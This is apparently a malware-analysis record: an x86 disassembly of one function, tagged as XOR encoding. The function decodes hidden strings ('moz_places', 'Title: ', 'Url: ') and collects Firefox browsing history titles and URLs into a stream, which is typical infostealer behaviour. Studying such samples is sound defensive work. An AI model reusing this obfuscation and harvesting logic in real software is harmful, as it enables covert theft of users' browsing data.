Function at 0x413bec
Capabilities:
Encode data using xor

Disassembly:
push 0x2a4
mov eax, 0x422310
call fcn.00420a4f
mov ebx, ecx
mov eax, dword [ebp + 8]
lea ecx, [ebp - 0x2b0]
mov dword [ebp - 0x100], eax
call fcn.00404293
sub esp, 0x18
lea esi, [ebx + 0xa8]
mov ecx, esp
push esi
call fcn.004051dd
call fcn.0041b179
add esp, 0x18
test eax, eax
je 0x413c4a
cmp dword [esi + 0x14], 0xf
jbe 0x413c36
mov esi, dword [esi]
mov edx, dword [ebp - 0x22c]
mov ecx, dword [ebp - 0x2b0]
push esi
call fcn.00406f1f
call eax
push 0x48
call fcn.0041fc70
mov esi, eax
mov dword [ebp - 0x104], esi
sub esp, 0x14
xor edx, edx
mov ecx, esp
mov dword [ebp - 4], edx
mov edi, ecx
mov dword [ebp - 0x108], esp
xor eax, eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
mov dword [ecx + 0x10], edx
mov dword [ecx + 0x14], 0xf
mov byte [ecx], dl
sub esp, 0x18
mov byte [ebp - 4], 1
mov ecx, esp
push dword [ebp - 0x100]
call fcn.004051dd
lea eax, [ebp - 0xf9]
mov byte [ebp - 4], 0
push eax
mov ecx, esi
call fcn.00405593
or dword [ebp - 4], 0xffffffff
mov esi, eax
cmp byte [ebp - 0xf9], 0
je 0x413f38
mov cl, 0xa
mov dword [ebp - 0x24], 0x7065670a
mov dword [ebp - 0x20], 0x6b667a55
xor eax, eax
mov dword [ebp - 0x1c], 0x796f69
xor byte [ebp + eax - 0x23], cl
inc eax
cmp eax, 0xa
jae 0x413cde
mov cl, byte [ebp - 0x24]
jmp 0x413ccf
sub esp, 0x18
mov byte [ebp - 0x19], 0
lea eax, [ebp - 0x23]
mov ecx, esp
push eax
call fcn.0040406a
mov ecx, esi
call fcn.0040e054
test al, al
je 0x413f38
xor eax, eax
lea edi, [ebp - 0x50]
stosd dword es:[edi], eax
xor edx, edx
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
mov dword [ebp - 0x40], edx
mov dword [ebp - 0x3c], 0xf
mov byte [ebp - 0x50], dl
mov dword [ebp - 4], 2
mov ecx, edx
movaps xmm0, xmmword [0x4020f0]
movups xmmword [ebp - 0x2c], xmm0
mov dword [ebp - 0x1c], 0x525e52
mov al, byte [ebp - 0x2c]
xor byte [ebp + ecx - 0x2b], al
inc ecx
cmp ecx, 0x12
jb 0x413d32
lea eax, [ebp - 0x2b]
mov byte [ebp - 0x19], dl
push eax
lea edx, [ebx + 0x90]
lea ecx, [ebp - 0x80]
call fcn.00407c78
pop ecx
mov byte [ebp - 4], 3
xor edi, edi
mov eax, dword [esi + 0x3c]
sub eax, dword [esi + 0x38]
push 0xc
cdq
pop ecx
idiv ecx
mov ebx, eax
test ebx, ebx
jle 0x413ed2
push 1
push edi
lea eax, [ebp - 0x68]
mov ecx, esi
push eax
call fcn.0040e36c
mov byte [ebp - 4], 4
cmp dword [ebp - 0x58], 0
je 0x413ebd
push 2
push edi
lea eax, [ebp - 0xf8]
mov ecx, esi
push eax
call fcn.0040e36c
mov edx, eax
mov byte [ebp - 4], 5
mov cl, 0x11
mov dword [ebp - 0x38], 0x65784511
xor eax, eax
mov dword [ebp - 0x34], 0x312b747d
mov byte [ebp - 0x30], 0
xor byte [ebp + eax - 0x37], cl
inc eax
cmp eax, 7
jae 0x413dc9
mov cl, byte [ebp - 0x38]
jmp 0x413dba
push edx
lea edx, [ebp - 0x37]
mov byte [ebp - 0x30], 0
lea ecx, [ebp - 0xe0]
call fcn.0040be48
pop ecx
mov edx, eax
mov byte [ebp - 4], 6
mov cl, 0x59
mov dword [ebp - 0x24], 0xc535459
xor eax, eax
mov dword [ebp - 0x20], 0x7963352b
mov byte [ebp - 0x1c], 0
xor byte [ebp + eax - 0x23], cl
inc eax
cmp eax, 7
jae 0x413e08
mov cl, byte [ebp - 0x24]
jmp 0x413df9
lea eax, [ebp - 0x23]
mov byte [ebp - 0x1c], 0
push eax
lea ecx, [ebp - 0xc8]
call fcn.0040691f
lea ecx, [ebp - 0x68]
mov byte [ebp - 4], 7
push ecx
mov edx, eax
lea ecx, [ebp - 0xb0]
call fcn.00405361
pop ecx
pop ecx
mov edx, eax
mov byte [ebp - 4], 8
mov cl, 0x5b
mov dword [ebp - 0x18], 0x5651565b
xor eax, eax
mov word [ebp - 0x14], 0x51
xor byte [ebp + eax - 0x17], cl
inc eax
cmp eax, 4
jae 0x413e58
mov cl, byte [ebp - 0x18]
jmp 0x413e49
lea eax, [ebp - 0x17]
mov byte [ebp - 0x13], 0
push eax
lea ecx, [ebp - 0x98]
call fcn.0040691f
pop ecx
mov byte [ebp - 4], 9
mov ecx, eax
cmp dword [eax + 0x14], 0xf
jbe 0x413e7a
mov ecx, dword [eax]
push dword [eax + 0x10]
push ecx
lea ecx, [ebp - 0x50]
call fcn.004052bb
lea ecx, [ebp - 0x98]
call fcn.0040400e
lea ecx, [ebp - 0xb0]
call fcn.0040400e
lea ecx, [ebp - 0xc8]
call fcn.0040400e
lea ecx, [ebp - 0xe0]
call fcn.0040400e
lea ecx, [ebp - 0xf8]
call fcn.0040400e
lea ecx, [ebp - 0x68]
mov byte [ebp - 4], 3
call fcn.0040400e
inc edi
cmp edi, ebx
jl 0x413d71
cmp dword [ebp - 0x40], 0
je 0x413f28
push ecx
push ecx
push 8
lea eax, [ebp - 0x80]
push eax
lea ecx, [ebp - 0x1b8]
call fcn.004163e6
mov byte [ebp - 4], 0xa
cmp dword [ebp - 0x168], 0
je 0x413f11
lea edx, [ebp - 0x50]
lea ecx, [ebp - 0x1b8]
call fcn.00416bb3
lea ecx, [ebp - 0x1b8]
call fcn.00416395
lea ecx, [ebp - 0x150]
call fcn.004163b6
lea ecx, [ebp - 0x150]
call dword [sym.imp.MSVCP140.dll_public_virtual:_void___thiscall_std::basic_ios_char__struct_std::char_traits_char__::destructor_void_]
lea ecx, [ebp - 0x80]
call fcn.0040400e
lea ecx, [ebp - 0x50]
call fcn.0040400e
test esi, esi
je 0x413f4d
mov ecx, esi
call fcn.0040608d
push 0x48
push esi
call fcn.0041fca0
pop ecx
pop ecx
call fcn.00420a0d
ret 4